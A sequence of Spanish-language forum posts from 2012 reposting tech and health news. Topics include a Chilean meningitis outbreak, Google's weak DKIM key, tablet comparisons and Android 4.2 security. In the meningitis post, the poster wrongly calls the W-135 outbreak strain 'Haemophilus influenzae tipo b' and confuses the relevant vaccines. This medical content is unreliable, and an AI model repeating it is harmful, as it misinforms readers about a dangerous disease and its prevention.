Hola, hace varias semanas que ando buscando un tema musical y no lo encuentro porque no se como se llama xD y parte de la letra coincide con otro tema que no tiene nada que ver, ¿me pueden ayudar por favor?

mmmm el tema es de los 80's y dice masomenos asi :-/
the locomotion... yeahhh dance lo comotion.... mmm...  xD
Demo del ritmo y tono de musica: http://www.4shared.com/music/ybK9TIx_/x_online.html

talves no es asi la letra pero es lo que recuerdo, el tema comenzaba con el bajo y despues entraba un sonido digital, talves no era un bajo pero sonaba como bajo xD

alguien sabe algo? :P se que es dificil y lo se tan bien porque no lo encuentro jajajaja y no recuerdo mas de la letra pero si muy bien del ritmo y de la musica.

Gracias :)
#204
¿Entonces que sucede?

Podemos comenzar leyendo la siguiente noticia: http://www.lasegunda.com/Noticias/Nacional/2012/11/795019/Confirman-muerte-de-menor-por-meningitis
En Chile el martes 6 de Noviembre se confirmó la muerte de un niño por causa de meningitis tipo w-135:

Citar
Confirman muerte de menor por meningitis en Puente Alto

Apoderados del colegio donde estudió la adolescente fallecida acusan falta de información por parte de las autoridades del establecimiento.

Santiago.- Esta mañana se confirmó la primera víctima fatal por contagio de meningitis. Se trata de una alumna de segundo medio del Colegio San Luis de Puente Alto.

Los antecedentes de este caso serán detallados durante el día por el Subsecretario de Salud, Jorge Díaz.

La muerte de la adolescente fue confirmada por la autoridad sanitaria que de inmediato realizó un bloqueo en el establecimiento educacional para evitar la propagación de la enfermedad. De esta forma se suministró antibióticos a los alumnos del curso de la menor que pudieron tener contacto y que se vieron expuestos al contagio

Apoderados acusan falta de información

Por su parte, los apoderados del Colegio San Luis Gonzaga, donde estudió la menor fallecida, acusan falta de información durante la enfermedad de la adolescente. Se quejaron de que no hubo ningún tipo de comunicación, llamado o correo electrónico para alertarles de la situación.

"Nos sentimos súper afectados porque no tenemos una respuesta clara ni concretas. Vino la seremi (de Salud) y nos dio puras respuestas caseras", dijo una de las apoderadas. Agregó que "nos entregan medicamentos para los niños que estuvieron en contacto con ella, pero es para dos días, qué pasa con los demás alumnos", se quejó Gloria Vásquez del Centro de Padres del establecimiento.

"Tenemos un desconocimiento total, sé de qué se trata la enfermedad, pero del colegio nada", aseguró una madre que tiene a su hijo en el establecimiento. "No hubo correos, llamados, nada. Mi hija es madre adolescente y tiene un bebé en la casa", dijo otro de los apoderados.

A raíz del caso, la madre de tres menor que estudian en el colegio manifestó que no mandará a los niños allí.

Mientras que la directora del cuestionado establecimiento, Gloria Sáez, afirmó que "lo que nos dijo el doctor, que es experto en esto, es que hay una red de contactos cuando es bacteriana y esa red implica todas las personas que han estado en contacto con la alumna por más de cuatro horas, y esos son los alumnos de su curso".

Campaña de vacunación

Cabe recordar que el Ministerio comenzó una campaña de vacunación para inmunizar contra la meningitis a los niños, de entre 2 a 4 años, de jardines infantiles de la comuna de Peñalolén y a comienzos de este mes debía comenzar la etapa en consultorios para menores de 9 meses a 2 años.

La medida se aplicó luego de evidenciar un aumento en los casos, sobre todo en la Región Metropolitana, incluyendo algunos enfermos con la cepa W-135 que es más agresiva que la meningitis habitual.

Después de culminar la inmunización en Peñalolén, el plan de vacunación debe extenderse a otras comunas del Gran Santiago.

Hasta hace dos semanas la Seremi de Salud contabilizaba 94 casos de meningitis confirmados en el país, 42 de estos corresponden a la cepa W-135.

Otros enlaces similares de esta y otras muertes:
http://www.24horas.cl/nacional/estudiante-de-segundo-medio-muere-por-meningitis-en-puente-alto-380245
http://www.biobiochile.cl/2012/11/09/confirman-que-profesora-de-colegio-antilhue-murio-por-meningitis.shtml

También hay otros casos en el colegio El Alicante de Puente Alto:
http://www.alcantara-alicante.cl/6_Alisol/Sol_archivos1/descargas/2012/meningitis_2.pdf


Entonces ya podemos entender que haemophilus influenzae tipo b w-135 comenzó a cobrar vidas en chile, pero ¿esto puede considerarse una epidemia?

Leamos en http://rangabaz75.galeon.com/
CitarLa Asociación Americana de Pediatría estipuló, en 1996, que será considerada "epidemia de meningitis por Neisseria meningitidis grupo C" cuando en una comunidad aparezcan tres casos en menos de tres meses y la prevalencia total sea de un mínimo de diez casos por 100 mil habitantes. Sólo en este caso se recomendará la vacunación generalizada.

Es muy interesante saber que entre el año 2006 y 2007 según documentos oficiales de varios gobiernos de otros paises hubo brotes de este tipo de influenza y se realizó una vacunación masiva en la mayoría de estos paises, pero que sucedió en Chile?.

Un documento muy completo realizado en los Estados Unidos habla todo sobre esta influenza de forma muy resumida y nos deja en claro algunas cosas como por ejemplo:
Citar¿Quiénes deben vacunarse contra Hib y cuándo?
Los niños deben vacunarse contra Hib a las siguientes edades:
¿Qué es la enfermedad Hib?
✔ 2 meses
✔ 4 meses
✔ 6 meses *
✔ 12 a 15 meses
* Dependiendo de la marca de vacuna Hib que se utilice, su hijo puede o no necesitar la dosis a los seis meses de edad. Su médico o su enfermera le indicarán si esa dosis es necesaria.
Si pierde una dosis o se atrasa, obtenga la próxima dosis lo antes posible. No hay necesidad de volver a empezar.
La vacuna Hib se puede dar junto con otras vacunas.

Niños de mayor edad y adultos
En general, los niños mayores de 5 años de edad no necesitan la vacuna Hib. Pero algunos niños de mayor edad, y algunos adultos con ciertos problemas de salud, la deben recibir. Estos problemas especiales incluyen la anemia de células falciformes, el VIH y el sida, la extracción del bazo, el transplante de médula o el tratamiento del cáncer con fármacos. Pida mayores detalles a su médico o a su enfermera.

Algunas personas no deben vacunarse contra Hib o deben esperar

• Las personas que han tenido una reacción alérgica a una dosis anterior de la vacuna Hib que puso su vida en peligro no deben recibir otra dosis.
• Los niños menores de 6 semanas de edad no deben vacunarse contra Hib.
• Las personas que en el día en que se vayan a vacunar estén moderadamente o muy enfermas, en general no deben recibir la vacuna Hib hasta que se recuperen.
Para más información, hable con su médico o enfermera.

Descarga: http://www.immunize.org/vis/sphib.pdf

Nos da una idea del porque la vacuna se ha priorizado en niños de hasta 4 años aunque no debemos olvidar que la cepa que ataca a Chile es mucho mas agresiva y ha causado la muerte de una joven parbularia.

¿Cual es la influenza?
http://es.wikipedia.org/wiki/Haemophilus_influenzae
Podemos ver que el nombre correcto de la influenza que ataca a Chile este Noviembre del 2012 se llama Haemophilus Influenzae tipo B (sepa w-135 muy peligrosa) o Hib y la vacuna se llama "vacuna conjugada contra Hib".

CitarMeningitis ¿Como detectar y prevenir?
Meningitis :¿cómo prevenirla y detectarla a tiempo?


De todas las enfermedades que pueden afectar a un niño, la meningitis es una de las más temidas. Pero los padres ignoran que muchas de ellas evolucionan favorablemente y, si se tratan a tiempo, se pueden curar.

La primera reacción de cualquier padre al saber que su hijo tiene "meningitis" es ponerse en estado de alerta y sentir que el mundo se le viene encima. Es comprensible, ya que la mayoría suele asociar la enfermedad a una situación de amenaza vital para el niño.

No hay que dejarse llevar por el pánico ya que, a pesar de los riesgos que comporta, la meningitis no deja de ser una infección que, detectada a tiempo, puede curarse. Además, no todas ponen en peligro la vida del bebé ni están provocadas por los mismos gérmenes.

Las más frecuentes son las de origen infeccioso. Las hay víricas y bacterianas. En el primer caso son de un mejor pronóstico y suelen remitir por sí solas. Normalmente no causan complicaciones y desaparecen en cuestión de poco tiempo.

Las que tienen origen bacteriano comportan un riesgo mucho mayor, ya que son más agresivas y, en algunos casos, pueden evolucionar de forma desfavorable con gran celeridad.

Las variantes más peligrosas

La mayoría de las meningitis de origen bacteriano son provocadas por tres gérmenes el haemophilus influenzae tipo b (Hib) , el meningococo por todos conocidos y finalmente el Neumococo propio de los niños menores de dos años.. El Hib suele atacar a niños menores de cinco años y puede dejar graves secuelas, como retrasos en el habla, pérdida parcial de la capacidad auditiva o alteraciones motoras. Sin embargo, la disponibilidad de una nueva vacuna de algunos años de  introducción en nuestro país y que ya se comercializa desde hace años en otros países, ha sido muy bien acogida por todos los pediatras como solución eficaz al problema, tanto es así que este germen como causa de Meningitis solo esta quedando en el mal recuerdo de la Pediatría en Chile.

Pero quedan dos causas aún, el Meningococo  en sus variable de serotipos A, B y CX y W135  y el Neumococo con sus sobre 90 representantes como serotipos.

Cómo detectarla

Los síntomas de meningitis infecciosas se pueden dividir en tres grupos:

1.-Los productos por la infección (vómitos, pérdida y fiebre).

2.-Los productos por la inflamación de las meninges (rigidez de nuca).



3.-Los derivados de la hipertensión craneal (dolor de cabeza, irritabilidad y, en algunos casos, convulsiones).

La coincidencia de algunos de estos síntomas por separado no significa inequívocamente que el menor tenga meningitis, ya que otras enfermedades más corrientes como una infección de oído o trastornos intestinales pueden presentar síntomas parecidos. Por esta razón, antes de emitir un diagnóstico hay que descartar la existencia de cualquier otro motivo que pudiera justificar estas reacciones.

Cuidados con las siguientes manchas en la piel



Síntomas de alarma

Los huesos del cráneo de un bebé de pocos meses aún no están totalmente soldados (fontanelas) y la inflamación de la meningitis puede apreciarse a simple vista. Pero a partir de los 18 ó 20 meses hay que buscar otros síntomas indicativos, como vómitos, dolor de cabeza o rigidez de nuca.



Cuando la infección es por el meningococo, pueden aparecer manchas rojizas en la piel, llamadas petequias, que son pequeñas hemorragias debidas a la alteración en la coagulación sanguínea derivada de la infección. Pero las petequias no son exclusivamente del meningococo, ya que pueden ser provocadas por otras enfermedades víricas o bacterianas.

Vacunas: La mejor protección

Para protegerse existen dos sistemas: las vacunas y la rápida evaluación de los contactos
Se proporciona  un antibiótico que se prescribe todas las personas que han estado en contacto con el enfermo para evitar que desarrollen enfermedad. Pero sus efectos tienen una duración limitada. Sin embargo, la inmunidad de las vacunas es de por vida.

La vacuna sirve fundamentalmente para prevenir las meningitis provocadas por el haemophilus influenzae tipo B (Hib). Su eficacia viene avalada por estudios clínicos.

En el caso de La de causa Meningocica recientemente ha sido aprobada una vacuna en nuestro medio que protege A,C;W-135 e Y, es decir cuadrivalente.

Aprobada desde los 6 meses hasta los 55 años de edad, es una vacuna conjugada..

En nuestro pías se dispone de una eficiente vacuna- antineumocócica- para proteger a su hijo contra la Enfermedad Neumococica Invasiva. Desde Eneros se incorporó al plan Nacional de inmunizaciones.

Consulte con su medico pediatra.

Fuente: http://pediatrachile.com/wp/?p=6981
Descargar en PDF
Descargar en docx

Ortos enlaces informativos:
(Meningitis ¿Como detectar y prevenir?)
http://www.vago.com/BagoArg/Biblio/infectoweb391.htm (análisis de la epidemiología de la enfermedad meningocócica)
http://rangabaz75.galeon.com/ (Brigadas de higiene, profilaxis)


¿Vacunas?
El nombre de la vacuna es "vacuna conjugada contra Hib" y hay noticias de que hasta hoy 13 de Noviembre del 2012 se ha agotado en todos lados, tanto en consultorios como en clinicas.

No he podido encontrar información oficial de los precios y disponibilidad en internet ya que casi todos los portales de vacunación estan caidos y el resto los hacen en persona via papel.

¿Tienes mas información al respecto?

Fuente: http://whk.drawcoders.com/index.php/topic,2507.0.html
#205
Estaba buscando infromación sobre un código para un trabajo y encontré en un blog este fastastico ejemplo del atractor lorenz (teoria del caos) hecho en javascript :D

http://jsfiddle.net/gonzalordv/FKB3d/

Fuente: http://www.aprendiendonodejs.com/2012/03/atractor-de-lorenz-en-101bytes.html



El atractor de Lorenz es uno de los ejemplos más conocidos en la teoría del caos. Para los que no tengan muy claro de que va esto de la teoría del caos, como resumen muy somero se puede decir esta teoría trata de estudiar sistema deterministas (es decir, no aleatorios) que son extremadamente sensibles a las condiciones iniciales. Pequeñas variaciones en las condiciones iniciales (si hablamos de un sistema físico podrían ser posición, temperatura, velocidad, presión o cualquier otra variable relevante del modelo) implica grandes diferencias en el comportamiento observado, dificultando enormemente la predicción a largo plazo (como pasa al intentar predecir el tiempo dentro de un mes).

Volviendo al atractor de Lorenz, este fue estudiado por  Ed N. Lorenz, un meteorólogo al que le debe el nombre, alrededor de 1963. Este sistema deriva de un modelo simplificado de la convección de la atmósfera. También emerge de manera natural a partir de modelos de láseres y dinamos.

El atractor tiene este aspecto:



#206
Matemático detecta falla de seguridad en Google y suplantó por mail a sus fundadores.

Zachary Harris es un matemático de 35 años de Florida, Estados Unidos, que recibió hace un tiempo atrás un inesperado correo electrónico desde Google ofreciéndole un puesto de trabajo. "Obviamente tienes una pasión por Linux y la programación. Queríamos ver si estás abierto a explorar nuevas oportunidades con Google", decía el correo.

Harris fue escéptico porque sabía que como matemático no era el candidato ideal que buscaba Google según el correo. Tras preguntarse si podía ser un caso de suplantación de identidad (spoofing), verificó la información de la cabecera del email y encontró que todo aparentaba ser legítimo.

Luego notó algo raro. Google estaba usando una clave de dominio DKIM bastante débil (de 512 bits de largo cuando se recomendaba como mínimo 1.024 bits) para certificar que sus correos electrónicos provenían de un legítimo dominio corporativo de Google, lo que significaba que cualquiera con la suficiente habilidad podía crackearla y enviar correos a nombre de la empresa de Mountain View.

El matemático pensó que Google no podía ser tan poco precavido, por lo que concluyó que debía ser una forma especial para reclutar personal y testear si eran capaces de detectar esta vulnerabilidad, por lo que Harris decidió romper la clave DKIM y enviar un correo a cada uno de los fundadores de Google (Sergey Brin y Larry Page) personificando al otro.

Harris procuró poner su mail en la dirección de retorno (return-path) del correo que le envió a Brin y Page, además de la dirección de su sitio web en el contenido del mensaje. Tras esperar dos días, notó que la clave DKIM de Google cambió a 2.048 bits y su sitio web comenzó a recibir muchas visitas desde direcciones IP de Google. Harris encontró una vulnerabilidad real en la empresa de Mountain View.

Tras darse cuenta, Harris verificó que el problema de una clave DKIM débil (de menos de 1.024 bits) se repetía tanto en Yahoo!, Microsoft, Dell, Apple, eBay, Amazon, PayPal, Twitter, SBCGlobal, US Bank, HP, HSBC, y Match.com; quienes en gran parte ya mejoraron actualmente sus normas de seguridad para evitar la suplantación.

Evidentemente, Zachary Harris no entró a trabajar a Google porque de partida la empresa de Mountain View no estaba buscando empleados, además, nunca le interesó, el sólo dio a conocer el caso porque era de interés general.

Fuentes:
http://www.wired.com/threatlevel/2012/10/dkim-vulnerability-widespread/all/
http://www.kb.cert.org/vuls/id/268267
http://www.fayerwayer.com/2012/10/matematico-detecta-falla-de-seguridad-en-google-y-suplanto-por-mail-a-sus-fundadores/
msn de 3l3ctronik0 xD
#207


Como bien sabéis, ayer se presentó el nuevo iPad Mini, un dispositivo del cual se sabía su existencia hacía meses pero que faltaba ponerle forma (y precios). En un principio íbamos a resistirnos a comparar este nuevo dispositivo con nuestro querido Nexus 7, pero ya que Apple lo hizo de manera tan descarada y errónea, vamos a ayudarles a acabar la comparativa.

Una presentación impropia de Apple

Ojo, no empecemos ya a tacharnos de fanboys y similares. Por mucho que me guste Android, una cosa estaba clara, las presentaciones de Apple eran lo mejor de lejos. El tono, el discurso, la puesta en escenario. No había duda, Apple era el rey. Pero hoy me he quedado boquiabierto cuando Apple se ha puesto de manera descarada a comparar el iPad Mini con el Nexus 7.



Curiosamente los usuarios de Apple siempre se quejan de que comparamos nuestros teléfonos con el iPhone. Y ahora, Apple se pasa media conferencia comparando de manera muy ruin, diapositiva por diapositiva, el nuevo iPad Mini con el Nexus 7. En mi opinión es caer muy bajo. Por si fuera poco, lógicamente, la comparativa no ha sido del todo completa o real. Por ejemplo, en diversas ocasiones, Apple ha comparado lo bien que se veían unas aplicaciones en el iPad Mini comparado con el Nexus 7



Curiosamente, la comparativa la han hecho con una aplicación optimizada para iPad y una aplicación que no tiene soporte para tablets en Android. Muy ruin. ¿Por qué no comparan cómo se ve la aplicación de Google Drive o la aplicación de Google +? O por ejemplo, ¿por qué no comparan qué tal se ve la aplicación de Google Maps?

Y puestos a comparar pantallas, que si la mía más grande, más fina, con un aspecto más optimizado, por qué no comparamos todos los detalles. Por ejemplo

* que la resolución del Nexus 7 es de 1290×800 HD frente a los 1024×768 del iPad Mini
* que el procesador del Nexus 7 es Quad-core Tegra 3 frente al Dual-core del iPad Mini
* que el precio del Nexus 7 es de $250 (y más que probable que baje a $199) frente a los $329 del iPad Mini

Seguramente, por que todas estas comparativas no interesan. Seguramente tampoco os han dicho que los únicos apartados en los que el iPad Mini es mejor que el Nexus 7 es en que pesa 38 gramos menos (se nota en el bolsillo) y es 3 milímetros más delgado (vale la pena).

Os dejo con una mini tabla para que veáis por vosotros mismos las diferencias:



Apple, donde dije digo digo Diego

"The reason we [won't] make a 7-inch tablet isn't because we don't want to hit [a lower] price point," Jobs said. "It's because we think the screen is too small to express the software. As a software driven company, we think about the software strategies first."

Steve Jobs.

O traducido al castellano:

"La razón por la que no haremos una tablet de 7 pulgadas no es por que no queramos alcanzar un precio de venta [más bajo]. Es por que pensamos que la pantalla es demasiada pequeña para expresar el software. Como una empresa guiada por el software, siempre pensamos antes en estrategias de software."



Curiosamente, ayer se presentó el iPad Mini de 7, 9 pulgadas. Y esto es un hecho más importante de lo que parece. Antes Apple dictaba el rumbo que tomaba el mercado y nos marcaba nuestras necesidades. Que pensabas que una tablet no servía para nada, Apple presentaba el iPad y todo el mundo necesitaba uno en su vida. Que pensabas que una pantalla de 4 pulgadas era mejor, Apple decía que las 3.5 pulgadas eran las ideales y todo el mundo acataba.

Ya no. Ahora es la gente quien decide, y Apple quien se adapta. Ahora el mercado dicta que las pantallas más grandes son mejores y Apple saca el iPhone 5 con pantalla de 4''. Y ahora que el Nexus 7 y el Kindle Fire son un éxito de ventas, curiosamente a Apple le parece bien un iPad mini. Apple está pasando de estar a la vanguardia de las innovaciones tecnológicas a estar al arrastre, viéndose forzados a sacar artículos que previamente había rechazado.

Dicho todo esto, el iPad Mini no es una mala tablet, ni mucho menos. Y venderá mucho. Eso sí, lo que no nos gusta es que se hagan malas comparaciones, rastreras, y que  no se cuente toda la verdad. Tema aparte es que por un precio más barato encuentres el Nexus 7, una tablet más potente y con mayor resolución. En cualquier caso, vosotros sois los que tenéis la última palabra. ¿Con cuál os quedáis, el iPad Mini o el Nexus 7?

Fuente: http://www.elandroidelibre.com/2012/10/ipad-mini-vs-nexus-7-la-verdadera-comparativa-que-no-te-contaron.html
#208
Más y más novedades que nos van llegando sobre Android 4.2. Y es que la cosa no para. Si hace poco ya tuvimos algunas filtraciones, ahora los compañeros de AndroidPolice, que siguen sacándole jugo al LG Nexus que tienen entre manos, han descubierto unas valiosas características que apuestan por la seguridad en el sistema operativo. Éstas mejorarían considerablemente la seguridad en nuestros dispositivos y nos proveerían de algunas funciones nuevas. Pasen y vean:

SE Linux

Security Enhanced Linux son un conjunto de complementos para el núcleo y unas herramientas para el espacio de usuario que permiten que éste sólo deje acceso a un administrador. Éste tiene autoridad para entrar a todos los procesos y objetos y no existe el concepto de root como lo conocemos. Ésto significa que la posibilidad de que un malware pueda causar daños al terminal es mínimo. Básicamente, SE Linux bloquea el acceso a las aplicaciones, permitiéndonos tener permisos de administrador, pero no condecerlo a las aplicaciones. Es un poco complicado de explicar por lo que iremos desgranándolo en posteriores artículos si finalmente Google lo implementa en la nueva versión.



De todos modos, en la zona de "Ajustes – Información del teléfono" nos saldrá una nueva opción llamada "Estado de SE Linux". En ella podremos disponer de tres estados: on, off y permisivo. Éstos nos dirán qué grado de permisividad tienen las aplicaciones para acceder a permisos de superusuario. Es un registro más para poder controlar lo que accede o no. Pero esta vez, integrado en el sistema.

VPN siempre activa

Ahora podremos tener la sesión de nuestro VPN siempre abierta, aunque desconectemos y conectemos la conexión de datos a internet. El concepto en si, es así de simple.



SMS Premium

Normalmente, los malware que usan SMS para expandirse lo hacían sin que nos enterásemos hasta ver la factura. Ahora, gracias a este nuevo sistema, podremos conocer al detalle si una aplicación va a enviar un mensaje corto a cualquier destinatario. Ésto es porque se nos abrirá una ventana que diría: "¿Desea enviar el SMS a [número], que es un SMS Premium?. Este servicio le costará un precio determinado en su factura de telefonía móvil". Entonces nos aparecerán tres opciones: sí, no e informar de app maliciosa; por lo que podremos detener el malware a tiempo e informar a Google de que la aplicación en cuestión no es buena.

Parece que Google se está poniendo las pilas con las novedades en la nueva versión de Android. Y aunque puede que éstas no lleguen a la versión final, seguro que las que llegan serán versiones mejoradas de estos sistemas.

Fuente: http://www.elandroidelibre.com/2012/10/android-4-2-reforzando-su-seguridad-con-se-linux-vpn-y-sms-premium.html
#209


Si uno navega por los foros de smartphone no puede evitar encontrarse con muchos posts preguntando como conseguir apps de pago de manera gratuita. A eso se le suma que entre los febreros del 2011 y 2012 la media de aplicaciones publicadas pasaba las 800 por día, lo que representa más de una app cada dos minutos. Con este panorama uno puede poner en duda que haya realmente beneficio en las apps de smartphones.

El mercado de las apps crece cada día

La tienda de aplicaciones de Google ha aumentado los beneficios anuales un 137% de enero a agosto según datos de la compañía App Annie. Sin duda un crecimiento brutal, especialmente en estos tiempos, que puede hacer replantearse a más de uno el unirse a los desarrolladores. Buena notícia, aunque tal vez desconcertante dada la situación descrita antes.



Muchas ventas a poco cada una

Ese es uno de los secretos de Google Play, y es que las ofertas del tipo aplicaciones a 25 céntimos o incluso 10 céntimos han tenido un éxito enorme. Siguiendo la misma línea muchas aplicaciones ofrecen una versión libre y otra de pago sin anuncios o con algunas propiedades extra, por relativamente poco dinero. Así pués Google y los desarrolladores han conseguido que mucha gente se suba al carro de la compra de apps con jugadas de oferta. Pero no solo de apps baratas vive Android.

De hecho si entrais en la zona de aplicaciones de pago de la tienda veréis que algunas de las más vendidas no son precisamente baratas: encontramos juegos por encima de los 3 e incluso 5 euros. Ello es debido a otro movimiento que se ha creado con la aparición de smartphones y tablets cada vez más potentes: juegos de calidad en nuestros terminales. No es una corriente que haya provocado Google, pero que intenta fomentar sacando terminales como la Nexus 7, con potencia para manejar juegos como Horn.

Lo malo de Google Play

La notícia tiene su parte negativa, debido un gran fallo en Google Play: la importancia del renombre. La tienda de Google está pensada para que las apps que aparezcan antes al usuario sean las más usadas, incluso en las búsquedas. No hay forma de escalar en la clasificación sin más descargas, recomendaciones de editores o renombre del desarrolador, y difícilmente tendrás alguno de esos por suerte. A día de hoy sería complicado sacar un éxito de la nada, sin ayuda de blogs y foros que den un empujón en descargas. Eso unido a una clasificación de apps que aún deja que desear, basta ver el follón que hay en Acción y Arcade: rpg (Horn), lineales (Jetpack Joyride), algunos de tipo puzzle (angry birds)...
En resumen

Una gran notícia que animará a muchos a meterse en el mundillo y a empresas a invertir en este campo, pero que se puede volver en contra del sistema, fomentando cada vez más unas apps concretas o de un grupo reducido de desarrolladores.

¿Como creéis que afectará al mercado de las apps la notícia?¿Qué opináis de la situación actual del mercado?

Fuente: http://www.elandroidelibre.com/2012/10/google-play-dispara-sus-beneficios-un-137-en-el-ultimo-semestre-un-buen-momento-para-ser-desarrollador.html
#210
En Marzo de 2010 Samsung sacó el Galaxy S, un terminal excelente, cuyo principal problema es que no sacaba todo el partido del hardware con el que contaba. Pero era normal, los coreanos estaban entrando en las gamas altas de Android, y su experiencia era limitada. Lo importante fue que aprendieron de sus errores, y crecieron muchísimo como marca, no sólo sacando en 2011 al mercado el que posiblemente haya sido el mejor terminal en su tiempo, el Galaxy S II, sino colaborando directamente con desarrolladores y ofreciendo ayuda y herramientas para entre la comunidad mejorar su software.

Todo parecía muy bonito, y las cosas funcionaban. Pero entonces llegó 2012 y el Samsung Galaxy S III, ese pedazo de terminal excelente, con una potencia descomunal y una cámara que hace fotografías excelentes, pero que ha cambiado a Samsung.

No soy sólo yo el que ya no reconozco en lo que hoy en día se ha convertido la empresa coreana, y los desarrolladores son los primeros a los que deberíamos preguntar, porque el enfado y desagrado que gira en torno a la falta de bootloader y a la liberación de la versión para developers es de dimensiones astronómicas. Samsung tiene en torno al 50% de la cuota de terminales Android vendidos, y desde XDA (el mayor foro de desarrolladores del mundo) tenían una gran relación con ellos, que últimamente se ha ido debilitando por las formas de Samsung y la poca importancia que empiezan a darle a trabajar con ellos.

De hecho, los mejores desarrolladores están abandonando a Samsung debido a la falta de información y ayuda con los procesadores Exynos. Codeworkx de CyanogenMod deja de dar soporte a Samsung Galaxy S III y se pasa a Sony, y de hecho está pensando en no volver nunca a tratar con Samsung, pero no es el único, y es un mundo que ha hecho muy grande no sólo a Android, sino también a Samsung, y ahora los están abandonando. Quizás no parezca importante, pero esta gente no sólo hace ROMs, también abre las nuevas ideas que futuras versiones de Android acaban adoptando. Os recomiendo ver el vídeo que han hecho en XDA al respecto (en inglés).

[youtube=425,350]https://www.youtube.com/watch?v=GTRKL5E9Iak&feature=player_embedded[/youtube]

Pero la nueva política de Samsung no sólo deja tirados a los desarrolladores, sino que entra a sitios en los que no tendría que entrar. ¿Qué debería haber hecho Samsung tras perder el juicio con Apple? Agotar todos los recursos legales para conseguir una apelación o un nuevo juicio con un jurado diferente, pero no contestar como si de una pelea de niños se tratase. La primera rabieta de Samsung al gran público llegó en forma de una infografía en la que se listan las principales características del iPhone 5 al lado de las del Galaxy S III.



Como bien apuntan en el mismo vídeo que os comentábamos antes, la comparativa no es demasiado objetiva. La primera mitad de la tabla es una comparativa cara a cara de estos dos terminales, donde con la frase "No hace falta ser un genio" Samsung intenta hacer creer que la pantalla más grande, la mayor resolución o más RAM hacen mejor a un teléfono. El problema es que la segunda mitad es aún peor, ya que Samsung incluye una serie de características que en su mayoría son gestos para controlar funciones del teléfono. Serán útiles, no digo que no, ¿pero qué pasa con la lista de gestos que tiene el iPhone 5 y no el SGSIII?

Lo último que estoy diciendo del mundo es que el iPhone 5 sea mejor que el Galaxy S III y que Samsung lo haya pintado al revés, lo que digo es que no hace falta ser un genio para darse cuenta que Samsung no necesita recurrir a estas técnicas que ha usado Apple en el pasado contra Microsoft para vender un producto que ya es bueno de por si.

No es necesario, no tienen que hacerlo, tienen un producto excelente y es una empresa con unos recursos y una capacidad extraordinarias. Samsung es una compañía que está como todas las del mundo, para hacer dinero, pero también para hacer buenos teléfonos que a la gente le guste usar. Recuerdo lo que me encantaba mi Samsung Galaxy S II, el cual sigo usando, pero empiezo a estar cansado de tanta historia.

Desde mi humilde punto de vista, Samsung debería recapacitar sobre su actual política y empezar a colaborar de nuevo con los desarrolladores y mirar más por el usuario. Todos los recursos que Samsung gasta en humillar a Apple son recursos que podrían haber ido a parar a mejorar sus dispositivos y experiencia de usuario. Esperemos que Samsung vuelva a ser lo que era y no se quede en la fachada de un gran terminal como el SGSIII, sino que sepa preocuparse de verdad por el usuario y darnos lo que en Android queremos.

Fuente: http://www.elandroidelibre.com/2012/09/samsung-y-su-nueva-politica-que-deja-de-lado-a-usuarios-y-desarrolladores.html
#211
Noticias / Crean Banco Nacional de Cerebros
25 Septiembre 2012, 15:19 PM


Con el objetivo de entender mejor enfermedades neurodegenerativas como el Alzhaimer, el banco de cerebros del Centro de Investigación y de Estudios avanzados (Cinvestav) se transformará en el Banco Nacional de Cerebros.

Con 35 encéfalos humanos de origen mexicano y más de 150 fragmentos de cerebros extranjeros, se buscarán terapias o fármacos que permitan combatir el alzheimer y otras alteraciones neuropatologías con estudios in-vitro.

Así mismo se crearán modelos celulares ahondar en la comprensión de las enfermedades neurodegenerativas, que son consecuencia de un mal funcionamiento de la proteína TAU pero que se procesan de modo similar al alzheimer pero no pueden ser tratadas del mismo modo.

A nivel mundial, muchos investigadores están enfocados en el tratamiento y buscan alguna forma para poder detener el procesamiento anormal de las neuronas que sufren las personas con enfermedad de alzheimer, sin embargo, "no se puede asegurar que en los próximos 5 años se pudiera generar un fármaco para curar la enfermedad", sostuvo José Luna Muñoz investigador del Departamento de Fisiologías, Biofísica y Neurociencias esta institución

La conservación de los cerebros que albergará el nuevo Banco Nacional se realizará con dos métodos, por un lado se congelarán a menos 80 grados centígrados, lo cual facilita los estudios bioquímicos.

Por otro lado se preservarán a cuatro grados centígrados con paraformaldeido como fijador, técnica que mantiene la estructura y las proteínas intactas para estudios de inmunohistoquímica, con lo que se analiza el procesamiento anormal de las proteínas alteradas durante el alzheimer y otras enfermedades neurodegenerativas.

"A nivel latinoamericano el Cinvestav es pionero en el desarrollo de bancos de cerebros y es líder en el área, lo que pretendemos es ser la punta de lanza en la creación de la Red Latinoamericana de Bancos de Cerebros y que México sea la cabeza de esa organización", explicó José Luna Muñoz.

Para ello se establecerán convenios internacionales con instituciones para promover la creación de estas entidades. En México se buscará la cooperaciones de instituciones nacionales para promover la donación de cerebros.

"Va a ser un centro que dará servicio a todos los investigadores que deseen estudiar algunas de estas enfermedades, ellos va a poder solicitar tejido a la unidad y nosotros les vamos a facilitar el material; claro con todos los requerimientos técnicos y éticos previamente establecidos"; aclaró José Luna Muñoz.

Fuente: http://www.eluniversal.com.mx/articulos/73647.html
#212


Hace unos días os resumimos en un post todas las posibilidades que hay a día de hoy sobre el próximo Nexus de Google, el cual debe de ser presentado antes de que finalice el año. Entre los fabricantes que mencionamos en dicho post nos encontrábamos con tres que destacaban sobre el resto y parecía que tenían más papeletas: Samsung, HTC y Sony. Personalmente, como ya dije en aquel artículo, preferiría que fuese HTC quien se encargase de este Nexus y parece que los últimos rumores apuntan a que puede ser así.

Saliéndose de todos los esquemas, HTC podría presentar un smartphone ultra potente que se situaría como el mejor del mercado. Este Nexus 5, que es como dicen que se llamará, sería un clon del HTC Droid Incredible X, un dispositivo que se ha dado a conocer gracias a una hoja de ruta filtrada de Verizon.

¿Y por qué Nexus 5? Pues básicamente porque su pantalla sería de 5 pulgadas, un motivo similar al de la elección del nombre en la Nexus 7, la cual tiene 7 pulgadas. A estas 5 pulgadas de pantalla con resolución Full HD le acompañaría un procesador Qualcomm Snapdragon S4 Pro de cuatro núcleos, 2 GB de RAM, cámara de 12 megapíxeles, 64 GB de almacenamiento interno, cámara frontal de 2 megapíxeles y una batería de 2500 mAh. Esta bestia de hardware correría Android 4.1.2, que seguiría siendo Jelly Bean pero con ciertas correcciones y mejoras como por ejemplo el soporte multiusuario.

Aunque parece un dispositivo muy suculento, sería algo totalmente contradictorio a la filosofía que Google ha tenido con la Nexus 7, la cual ofrecía mucha potencia a un bajo costo. De ser así este Nexus 5, los costos si serían muy elevados, aunque también es verdad que sería un ataque directo al iPhone 5, que acaba de hacer su aparición estelar con grandes resultados.

Hay dos opciones: o Google nos ha sorprendido a todos con este cambio de filosofía, o será el smartphone más potente de los 5 que se esperan que se presenten en un corto plazo. ¿Tú qué opinas?

